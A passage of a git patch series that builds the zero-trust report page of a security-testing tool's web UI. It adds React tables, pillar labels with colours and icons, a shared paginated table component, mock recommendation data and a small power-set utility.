    {JSON.stringify(this.state.pillars, undefined, 2)}
    +
    + TESTS: +
    {JSON.stringify(this.state.tests, undefined, 2)}
    +
    + FINDINGS: +
    {JSON.stringify(this.state.findings, undefined, 2)}
    ) @@ -76,11 +81,26 @@ class ZeroTrustReportPageComponent extends AuthComponent { } getZeroTrustReportFromServer() { - this.authFetch('/api/report/zero_trust') + let res; + this.authFetch('/api/report/zero_trust/findings') .then(res => res.json()) .then(res => { this.setState({ - report: res + findings: res + }); + }); + this.authFetch('/api/report/zero_trust/tests') + .then(res => res.json()) + .then(res => { + this.setState({ + tests: res + }); + }); + this.authFetch('/api/report/zero_trust/pillars') + .then(res => res.json()) + .then(res => { + this.setState({ + pillars: res }); }); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 3b7842b26..863d08670 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -63,7 +63,7 @@ const columns = [ const listItems = pillars.map((pillar) =>
  • ); - return
      {listItems}
    + return
      {listItems}
    ; } }, { Header: 'Events', id:"events", @@ -79,19 +79,22 @@ const pageSize = 10; class FindingsTable extends Component { render() { - let defaultPageSize = this.props.findings.length > pageSize ? pageSize : this.props.findings.length; - let showPagination = this.props.findings.length > pageSize; + if (this.props.findings.length > 0) { + let defaultPageSize = this.props.findings.length > pageSize ? pageSize : this.props.findings.length; + let showPagination = this.props.findings.length > pageSize; - return ( -
    - -
    - ); + return ( +
    + +
    + ); + } + else { return (
    BAYAZ
    );} } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 6afe2dd52..8c3959b00 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -3,37 +3,13 @@ import ZeroTrustPillars from "./ZeroTrustPillars"; export class PillarGrades extends Component { render() { - let pillarsCounters = {}; - for(const pillar in ZeroTrustPillars) { - pillarsCounters[ZeroTrustPillars[pillar]] = { - "conclusive": 0, - "possible": 0 - }; - } - - if (this.props.findings !== null) { - for (const finding of this.props.findings) { - if (typeof finding === 'object' && finding !== null) { - if (finding.hasOwnProperty("pillars") && finding.hasOwnProperty("conclusive")) { - for (const pillar of finding["pillars"]) { - if (finding.conclusive) { - pillarsCounters[pillar]["conclusive"] += 1; - } else { - pillarsCounters[pillar]["possible"] += 1; - } - } - } - } - } - } - return (

    TODO: table with conditional colouring.

    -          {JSON.stringify(pillarsCounters, undefined, 2)}
    +          {JSON.stringify(this.props.pillars, undefined, 2)}
             
    ) From a337bb5800ab5e67bd2d82d810cae061f580b85c Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 12:08:24 +0300 Subject: [PATCH 059/276] Added table for pillar grades --- .../components/pages/ZeroTrustReportPage.js | 6 ++- .../zerotrust/PillarGrades.js | 44 ++++++++++++++----- 2 files changed, 37 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 9d200beac..f7b5dc5bf 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -35,7 +35,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { generateReportContent() { let content; - if (typeof this.state.findings === "undefined") { + if (this.stillLoadingDataFromServer()) { content = "Still empty"; } else { content =
    @@ -76,6 +76,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { ) } + stillLoadingDataFromServer() { + return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.tests === "undefined"; + } + print() { alert("unimplemented"); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 8c3959b00..896a1e4d2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -1,18 +1,38 @@ import React, {Component} from "react"; -import ZeroTrustPillars from "./ZeroTrustPillars"; +import ReactTable from "react-table"; -export class PillarGrades extends Component { +const columns = [ + { + Header: 'Pillar Grading', + columns: [ + { Header: 'Pillar', accessor: 'Pillar'}, + { Header: 'Conclusive', accessor: 'Conclusive'}, + { Header: 'Inconclusive', accessor: 'Inconclusive'}, + { Header: 'Unexecuted', accessor: 'Unexecuted'}, + ] + } +]; + +const pageSize = 10; + +class PillarGrades extends Component { render() { - return ( -
    -

    - TODO: table with conditional colouring. -

    -
    -          {JSON.stringify(this.props.pillars, undefined, 2)}
    -        
    -
    - ) + if (this.props.pillars.length > 0) { + let defaultPageSize = this.props.pillars.length > pageSize ? pageSize : this.props.pillars.length; + let showPagination = this.props.pillars.length > pageSize; + + return ( +
    + +
    + ); + } + else { return (
    BAYAZ
    );} } } From 97c80c47af0cb3f1a5fa4a29321a339e4c4dd0b2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 14:21:22 +0300 Subject: [PATCH 060/276] Added coloured labels --- .../cc/resources/reporting/report.py | 14 +++++----- .../components/pages/ZeroTrustReportPage.js | 1 + .../zerotrust/FindingsTable.js | 5 +--- .../zerotrust/PillarGrades.js | 5 +++- .../zerotrust/PillarLabel.js | 21 +++++++++++++++ .../cc/ui/src/styles/ZeroTrustPillars.css | 27 +++++++++++++++++++ 6 files changed, 61 insertions(+), 12 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js create mode 100644 monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 8ae1d8769..b9e16427d 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -87,49 +87,49 @@ def get_tests_status(): def get_pillars_grades(): return [ { - "Pillar": "data", + "Pillar": "Data", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, "Unexecuted": 6 }, { - "Pillar": "network", + "Pillar": "Networks", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, "Unexecuted": 6 }, { - "Pillar": "people", + "Pillar": "People", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, "Unexecuted": 6 }, { - "Pillar": "workloads", + "Pillar": "Workloads", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, "Unexecuted": 6 }, { - "Pillar": "devices", + "Pillar": "Devices", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, "Unexecuted": 6 }, { - "Pillar": "visibility and analytics", + "Pillar": "Visibility & Analytics", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, "Unexecuted": 6 }, { - "Pillar": "automation and analytics", + "Pillar": "Automation & Orchestration", "Conclusive": 6, "Inconclusive": 6, "Positive": 6, diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index f7b5dc5bf..c81509a8a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -18,6 +18,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { render() { let res; + // Todo move to componentDidMount this.getZeroTrustReportFromServer(res); const content = this.generateReportContent(); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 863d08670..b3a54a01d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -3,10 +3,7 @@ import ReactTable from "react-table"; import {Button} from "react-bootstrap"; import {EventsModal} from "./EventsModal"; import FileSaver from "file-saver"; - -function PillarLabel(props) { - return {props.pillar} -} +import {PillarLabel} from "./PillarLabel"; class EventsAndButtonComponent extends Component { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 896a1e4d2..8ebc0e13d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -1,11 +1,14 @@ import React, {Component} from "react"; import ReactTable from "react-table"; +import {PillarLabel} from "./PillarLabel"; const columns = [ { Header: 'Pillar Grading', columns: [ - { Header: 'Pillar', accessor: 'Pillar'}, + { Header: 'Pillar', id: 'Pillar', accessor: x => { + return (); + }}, { Header: 'Conclusive', accessor: 'Conclusive'}, { Header: 'Inconclusive', accessor: 'Inconclusive'}, { Header: 'Unexecuted', accessor: 'Unexecuted'}, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js new file mode 100644 index 000000000..6827c95ce --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -0,0 +1,21 @@ +import React, {Component} from "react"; +import 'styles/ZeroTrustPillars.css' + +export class PillarLabel extends Component { + pillar; + + render() { + const pillarToColor = { + "Data": "label-zt-data", + "People": "label-zt-people", + "Networks": "label-zt-networks", + "Workloads": "label-zt-workloads", + "Devices": "label-zt-devices", + "Visibility & Analytics": "label-zt-analytics", + "Automation & Orchestration": "label-zt-automation", + }; + + const className = "label " + pillarToColor[this.props.pillar]; + return {this.props.pillar} + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css b/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css new file mode 100644 index 000000000..09b5289dc --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/ZeroTrustPillars.css @@ -0,0 +1,27 @@ +.label-zt-data { + background-color: #FAD02C !important; +} + +.label-zt-people { + background-color: #507581 !important; +} + +.label-zt-networks { + background-color: #746233 !important; +} + +.label-zt-devices { + background-color: #2F3B29 !important; +} + +.label-zt-workloads { + background-color: #0C1440 !important; +} + +.label-zt-analytics { + background-color: #6B8836 !important; +} + +.label-zt-automation { + background-color: #B4BC82 !important; +} From 568257db261dc174f0c362b5b1c8467f644420e2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 15:42:09 +0300 Subject: [PATCH 061/276] Extracted common code of PagenatedTable component --- .../common/PagenatedTable.js | 29 +++++++++++++++++++ .../zerotrust/FindingsTable.js | 25 ++++------------ .../zerotrust/PillarGrades.js | 21 ++------------ 3 files changed, 36 insertions(+), 39 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js new file mode 100644 index 000000000..6a4652837 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PagenatedTable.js @@ -0,0 +1,29 @@ +import React, {Component} from "react"; +import ReactTable from "react-table"; + +class PagenatedTable extends Component { + render() { + if (this.props.data.length > 0) { + let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; + let showPagination = this.props.data.length > this.props.pageSize; + + return ( +
    + +
    + ); + } + else { + return ( +
    + ); + } + } +} + +export default PagenatedTable; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index b3a54a01d..f2247461b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -1,9 +1,9 @@ import React, {Component} from "react"; -import ReactTable from "react-table"; import {Button} from "react-bootstrap"; import {EventsModal} from "./EventsModal"; import FileSaver from "file-saver"; import {PillarLabel} from "./PillarLabel"; +import PagenatedTable from "../common/PagenatedTable"; class EventsAndButtonComponent extends Component { @@ -51,7 +51,7 @@ const columns = [ { Header: 'Findings', columns: [ - { Header: 'Test', accessor: 'test', + { Header: 'Finding', accessor: 'test', style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Pillars', id: "pillars", @@ -72,26 +72,11 @@ const columns = [ } ]; -const pageSize = 10; - class FindingsTable extends Component { render() { - if (this.props.findings.length > 0) { - let defaultPageSize = this.props.findings.length > pageSize ? pageSize : this.props.findings.length; - let showPagination = this.props.findings.length > pageSize; - - return ( -
    - -
    - ); - } - else { return (
    BAYAZ
    );} + return ( + + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 8ebc0e13d..9b746afd2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -1,6 +1,6 @@ import React, {Component} from "react"; -import ReactTable from "react-table"; import {PillarLabel} from "./PillarLabel"; +import PagenatedTable from "../common/PagenatedTable"; const columns = [ { @@ -16,26 +16,9 @@ const columns = [ } ]; -const pageSize = 10; - class PillarGrades extends Component { render() { - if (this.props.pillars.length > 0) { - let defaultPageSize = this.props.pillars.length > pageSize ? pageSize : this.props.pillars.length; - let showPagination = this.props.pillars.length > pageSize; - - return ( -
    - -
    - ); - } - else { return (
    BAYAZ
    );} + return ; } } From e4738d026c36cbd83d5741bd13af9ef58757808a Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 16:19:51 +0300 Subject: [PATCH 062/276] Added recommendation status table --- .../cc/resources/reporting/report.py | 63 +++++++++++++++---- .../components/pages/ZeroTrustReportPage.js | 15 ++--- .../zerotrust/RecommendationsStatus.js | 46 ++++++++++++++ 3 files changed, 106 insertions(+), 18 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index b9e16427d..5c9ff314a 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -12,7 +12,7 @@ REPORT_TYPES = [GENERAL_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_TEST_STATUS = "tests" +REPORT_DATA_RECOMMENDATION_STATUS = "recommendations" __author__ = ["itay.mizeretz", "shay.nehmad"] @@ -28,8 +28,8 @@ class Report(flask_restful.Resource): return jsonify(get_all_findings()) elif report_data == REPORT_DATA_PILLARS: return jsonify(get_pillars_grades()) - elif report_data == REPORT_DATA_TEST_STATUS: - return jsonify(get_tests_status()) + elif report_data == REPORT_DATA_RECOMMENDATION_STATUS: + return jsonify(get_recommendations_status()) flask_restful.abort(httplib.NOT_FOUND) @@ -68,18 +68,59 @@ def get_all_findings(): ] -def get_tests_status(): +def get_recommendations_status(): return [ { - "Test": "Segmentation", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": False # There were results meaning the test was executed. + "Recommendation": "Do network segmentation.", + "Status": "Positive", + "Tests": [ + { + "Test": "Test B for segmentation", + "Status": "Positive" + }, + { + "Test": "Test A for segmentation", + "Status": "Positive" + }, + ] }, { - "Exploit": "network", - "Unexecuted": True # There were no results since the test wasn't executed. + "Recommendation": "Install AV software.", + "Status": "Unexecuted", + "Tests": [ + { + "Test": "Search for active AV software processes", + "Status": "Unexecuted" + } + ] + }, + { + "Recommendation": "Analyze malicious network traffic.", + "Status": "Inconclusive", + "Tests": [ + { + "Test": "Use exploits.", + "Status": "Inconclusive" + }, + { + "Test": "Bruteforce passwords.", + "Status": "Inconclusive" + } + ] + }, + { + "Recommendation": "Data at trasnit should be...", + "Status": "Conclusive", + "Tests": [ + { + "Test": "Scan HTTP.", + "Status": "Conclusive" + }, + { + "Test": "Scan elastic.", + "Status": "Unexecuted" + } + ] }, ] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index c81509a8a..dc0730102 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -4,6 +4,7 @@ import AuthComponent from '../AuthComponent'; import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; import PillarGrades from "../report-components/zerotrust/PillarGrades"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; +import RecommendationsStatusTable from "../report-components/zerotrust/RecommendationsStatus"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -42,8 +43,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { content =

    Pillars Overview

    -

    Test Status

    - TODO +

    Recommendations Status

    +

    Findings

    ; @@ -67,8 +68,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { PILLARS:
    {JSON.stringify(this.state.pillars, undefined, 2)}

    - TESTS: -
    {JSON.stringify(this.state.tests, undefined, 2)}
    + recommendations: +
    {JSON.stringify(this.state.recommendations, undefined, 2)}

    FINDINGS:
    {JSON.stringify(this.state.findings, undefined, 2)}
    @@ -78,7 +79,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { } stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.tests === "undefined"; + return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; } print() { @@ -94,11 +95,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/tests') + this.authFetch('/api/report/zero_trust/recommendations') .then(res => res.json()) .then(res => { this.setState({ - tests: res + recommendations: res }); }); this.authFetch('/api/report/zero_trust/pillars') diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js new file mode 100644 index 000000000..b23f84d16 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js @@ -0,0 +1,46 @@ +import React, {Component} from "react"; +import PagenatedTable from "../common/PagenatedTable"; + +const columns = [ + { + Header: 'Recommendations status', + columns: [ + { Header: 'Recommendation', accessor: 'Recommendation', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + { Header: 'Status', id: "Status", + accessor: x => { + const statusToIcon = { + "Positive": "fa-shield alert-success", + "Inconclusive": "fa-question alert-info", + "Conclusive": "fa-unlock-alt alert-danger", + "Unexecuted": "fa-toggle-off", + }; + return ; + } + }, + { Header: 'Tests', id:"Tests", + accessor: x => { + console.log(x.Tests); + return ; + } + } + ] + } +]; + +class TestsStatus extends Component { + render() { + return ( +
    {JSON.stringify(this.props.tests,null,2)}
    + ); + } +} + +export class RecommendationsStatusTable extends Component { + render() { + return ; + } +} + +export default RecommendationsStatusTable; From a074d8e4a1360c74d9d00dce8a53e92daeaec83d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 16:50:32 +0300 Subject: [PATCH 063/276] Divided recommendations into pillars --- .../cc/resources/reporting/report.py | 57 +++++++++++++++---- .../components/pages/ZeroTrustReportPage.js | 32 ++++++++--- ...tatus.js => RecommendationsStatusTable.js} | 7 ++- .../SinglePillarRecommendationsStatus.js | 15 +++++ 4 files changed, 89 insertions(+), 22 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{RecommendationsStatus.js => RecommendationsStatusTable.js} (80%) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 5c9ff314a..384ca09fe 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -69,7 +69,7 @@ def get_all_findings(): def get_recommendations_status(): - return [ + network_recomms = [ { "Recommendation": "Do network segmentation.", "Status": "Positive", @@ -84,16 +84,6 @@ def get_recommendations_status(): }, ] }, - { - "Recommendation": "Install AV software.", - "Status": "Unexecuted", - "Tests": [ - { - "Test": "Search for active AV software processes", - "Status": "Unexecuted" - } - ] - }, { "Recommendation": "Analyze malicious network traffic.", "Status": "Inconclusive", @@ -124,6 +114,51 @@ def get_recommendations_status(): }, ] + device_recomms = [ + { + "Recommendation": "Install AV software.", + "Status": "Unexecuted", + "Tests": [ + { + "Test": "Search for active AV software processes", + "Status": "Unexecuted" + } + ] + }, + ] + + data_recommns = [ + { + "Recommendation": "Data at trasnit should be...", + "Status": "Conclusive", + "Tests": [ + { + "Test": "Scan HTTP.", + "Status": "Conclusive" + }, + { + "Test": "Scan elastic.", + "Status": "Unexecuted" + } + ] + }, + ] + + return [ + { + "pillar": "Networks", + "recommendationStatus": network_recomms + }, + { + "pillar": "Data", + "recommendationStatus": data_recommns + }, + { + "pillar": "Devices", + "recommendationStatus": device_recomms + }, + ] + def get_pillars_grades(): return [ diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index dc0730102..630952961 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,10 +1,10 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; -import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; +import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarGrades from "../report-components/zerotrust/PillarGrades"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; -import RecommendationsStatusTable from "../report-components/zerotrust/RecommendationsStatus"; +import {SinglePillarRecommendationsStatus} from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -40,13 +40,29 @@ class ZeroTrustReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = "Still empty"; } else { - content =
    + const pillarsSection =

    Pillars Overview

    - -

    Recommendations Status

    - -

    Findings

    - + +
    ; + + const recommendationsSection =

    Recommendations Status

    + { + this.state.recommendations.map((recommendation) => + + ) + } +
    ; + + const findingSection =

    Findings

    +
    ; + + content =
    + {pillarsSection} + {recommendationsSection} + {findingSection}
    ; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js similarity index 80% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index b23f84d16..dda771717 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -1,5 +1,6 @@ import React, {Component} from "react"; import PagenatedTable from "../common/PagenatedTable"; +import AuthComponent from "../../AuthComponent"; const columns = [ { @@ -29,7 +30,7 @@ const columns = [ } ]; -class TestsStatus extends Component { +class TestsStatus extends AuthComponent { render() { return (
    {JSON.stringify(this.props.tests,null,2)}
    @@ -37,9 +38,9 @@ class TestsStatus extends Component { } } -export class RecommendationsStatusTable extends Component { +export class RecommendationsStatusTable extends AuthComponent { render() { - return ; + return ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js new file mode 100644 index 000000000..802b7a0a2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js @@ -0,0 +1,15 @@ +import AuthComponent from "../../AuthComponent"; +import {PillarLabel} from "./PillarLabel"; +import RecommendationsStatusTable from "./RecommendationsStatusTable"; +import React from "react"; + +export class SinglePillarRecommendationsStatus extends AuthComponent { + render() { + return ( +
    +

    + +
    + ); + } +} From 96eb705b9c4b47a5b597b1e29c18b860f8685df6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 18:15:15 +0300 Subject: [PATCH 064/276] Added icons to pillar labels --- .../report-components/zerotrust/PillarLabel.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 6827c95ce..51f5f988f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -15,7 +15,17 @@ export class PillarLabel extends Component { "Automation & Orchestration": "label-zt-automation", }; + const pillarToIcon = { + "Data": "fa fa-database", + "People": "fa fa-user", + "Networks": "fa fa-tty", + "Workloads": "fa fa-cloud", + "Devices": "fa fa-laptop", + "Visibility & Analytics": "fa fa-eye-slash", + "Automation & Orchestration": "fa fa-cogs", + }; + const className = "label " + pillarToColor[this.props.pillar]; - return {this.props.pillar} + return {this.props.pillar} } } From 1a2d61e3a1cdb7285174ce39c36d3e93df8e8e16 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 8 Aug 2019 20:57:04 +0300 Subject: [PATCH 065/276] Made the test cell of the recommendation table a list instead of raw JSON --- monkey/monkey_island/cc/ui/package-lock.json | 3 +- .../zerotrust/RecommendationsStatusTable.js | 28 +++++++++++++++++-- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index dfccd0ec3..09ccebad9 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -19041,7 +19041,6 @@ "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -19211,7 +19210,7 @@ "bundled": true, "dev": true, "requires": { - "brace-expansion": "1.1.11" + "brace-expansion": "^1.1.7" } }, "minimist": { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index dda771717..acd7bc322 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -22,7 +22,6 @@ const columns = [ }, { Header: 'Tests', id:"Tests", accessor: x => { - console.log(x.Tests); return ; } } @@ -32,10 +31,35 @@ const columns = [ class TestsStatus extends AuthComponent { render() { + const positiveStatus = "Positive"; + const conclusiveStatus = "Conclusive"; + const inconclusiveStatus = "Inconclusive"; + const unexecutedStatus = "Unexecuted"; + return ( -
    {JSON.stringify(this.props.tests,null,2)}
    +
    + {this.getTestsOfStatusIfAny(conclusiveStatus)} + {this.getTestsOfStatusIfAny(inconclusiveStatus)} + {this.getTestsOfStatusIfAny(positiveStatus)} + {this.getTestsOfStatusIfAny(unexecutedStatus)} +
    ); } + + getTestsOfStatusIfAny(statusToFilter) { + const filteredTests = this.props.tests.filter((test) => { + return (test.Status === statusToFilter); + } + ); + + if (filteredTests.length > 0) { + const listItems = filteredTests.map((test) => { + return (
  • {test.Test}
  • ) + }); + return
    {statusToFilter}
      {listItems}
    ; + } + return
    ; + } } export class RecommendationsStatusTable extends AuthComponent { From e500068e45b25ba63f42efb6cf60f8049cc78211 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 11 Aug 2019 11:43:12 +0300 Subject: [PATCH 066/276] Added utility function for calculating power set --- monkey/common/utils/itertools_extensions.py | 9 +++++++++ monkey/common/utils/test_power_set.py | 18 ++++++++++++++++++ 2 files changed, 27 insertions(+) create mode 100644 monkey/common/utils/itertools_extensions.py create mode 100644 monkey/common/utils/test_power_set.py diff --git a/monkey/common/utils/itertools_extensions.py b/monkey/common/utils/itertools_extensions.py new file mode 100644 index 000000000..b806a659b --- /dev/null +++ b/monkey/common/utils/itertools_extensions.py @@ -0,0 +1,9 @@ +from itertools import chain, combinations + + +def power_set(iterable): + """ + https://docs.python.org/3/library/itertools.html#itertools-recipes + """ + s = list(iterable) + return chain.from_iterable(combinations(s, r) for r in range(1, len(s) + 1)) \ No newline at end of file diff --git a/monkey/common/utils/test_power_set.py b/monkey/common/utils/test_power_set.py new file mode 100644 index 000000000..9c5798327 --- /dev/null +++ b/monkey/common/utils/test_power_set.py 